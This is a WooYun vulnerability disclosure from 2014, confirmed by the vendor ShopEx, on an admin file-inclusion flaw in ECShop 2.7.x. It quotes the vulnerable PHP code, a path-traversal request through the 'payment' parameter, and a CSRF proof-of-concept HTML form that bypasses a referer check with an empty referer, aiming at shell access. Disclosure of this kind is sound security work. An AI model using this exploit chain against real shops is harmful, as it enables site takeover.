当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075915

漏洞标题:ecshop最新版后台文件包含+csrf利用

相关厂商:ShopEx

漏洞作者: D&G

提交时间:2014-09-16 11:58

修复时间:2014-12-15 12:00

公开时间:2014-12-15 12:00

漏洞类型:任意文件遍历/下载

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-16: 细节已通知厂商并且等待厂商处理中
2014-09-16: 厂商已经确认,细节仅向厂商公开
2014-09-19: 细节向第三方安全合作伙伴开放
2014-11-10: 细节向核心白帽子及相关领域专家公开
2014-11-20: 细节向普通白帽子公开
2014-11-30: 细节向实习白帽子公开
2014-12-15: 细节向公众公开

简要描述:

文件包含,需要截断

详细说明:

看到这个漏洞给中危了还就看了下。 WooYun: ECSHOP跨站+后台文件包含=Getshell
只测试了2.7.3一个版本和最新的2.7.4 beta1
代码:admin/index.php 644行

elseif ($_REQUEST['act'] == 'second')
{
admin_priv('shop_config');
$shop_name = empty($_POST['shop_name']) ? '' : $_POST['shop_name'] ;
$shop_title = empty($_POST['shop_title']) ? '' : $_POST['shop_title'] ;
$shop_country = empty($_POST['shop_country']) ? '' : intval($_POST['shop_country']);
$shop_province = empty($_POST['shop_province']) ? '' : intval($_POST['shop_province']);
$shop_city = empty($_POST['shop_city']) ? '' : intval($_POST['shop_city']);
$shop_address = empty($_POST['shop_address']) ? '' : $_POST['shop_address'] ;
$shipping = empty($_POST['shipping']) ? '' : $_POST['shipping'];
$payment = empty($_POST['payment']) ? '' : $_POST['payment'];
省略。。。。
payment变量直接从post去得。
到770行
if(!empty($payment))
{
/* 取相应插件信息 */
$set_modules = true;
include_once(ROOT_PATH.'includes/modules/payment/' . $payment . '.php');


直接拼接到了include_once中,因为这里利用需要截断,要根据不同的环境处理。这里采用自己根目录写一个文件phpinfo.php文件进行包含测试。
post地址:/ecshop2.7.4/admin/index.php?act=second
post参数:area_name=wbjewbvk&payment=../../../phpinf&shipping=city_express&shipping_city=San%20Francisco&shipping_country=1&shipping_district=1&shipping_province=2&shop_address=3137%20Laguna%20Street&shop_city=52&shop_country=1&shop_name=ECSHOP&shop_province=2&shop_title=ECSHOP%e6%bc%94%e7%a4%ba%e7%ab%99
payment参数存在问题。

echsop.jpg


可以结合csrf利用。csrf导致文件包含getshell。写文件的思路就不赘述了。这里测试发现ecshop是对csrf有一定防御的。判断了referer,可惜利用空referer可以绕过。构造空referer参考http://zone.wooyun.org/content/744
这里只给一个手动测试的demo。

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1/ecshop2.7.4/admin/index.php?act=second" method="POST">
<input type="hidden" name="area_name" value="wbjewbvk" />
<input type="hidden" name="payment" value="../../../phpinf" />
<input type="hidden" name="shipping" value="city_express" />
<input type="hidden" name="shipping_city" value="San Francisco" />
<input type="hidden" name="shipping_country" value="1" />
<input type="hidden" name="shipping_district" value="1" />
<input type="hidden" name="shipping_province" value="2" />
<input type="hidden" name="shop_address" value="3137 Laguna Street" />
<input type="hidden" name="shop_city" value="52" />
<input type="hidden" name="shop_country" value="1" />
<input type="hidden" name="shop_name" value="ECSHOP" />
<input type="hidden" name="shop_province" value="2" />
<input type="hidden" name="shop_title" value="ECSHOP%e6%bc%94%e7%a4%ba%e7%ab%99" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


ecshop4.jpg

漏洞证明:

echsop.jpg

修复方案:

弱弱问一句,之前的后台漏洞都修复了么

版权声明:转载请注明来源 D&G@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-09-16 13:41

厂商回复:

非常感谢您为shopex信息安全做的贡献
我们将尽快修复
非常感谢

最新状态:

暂无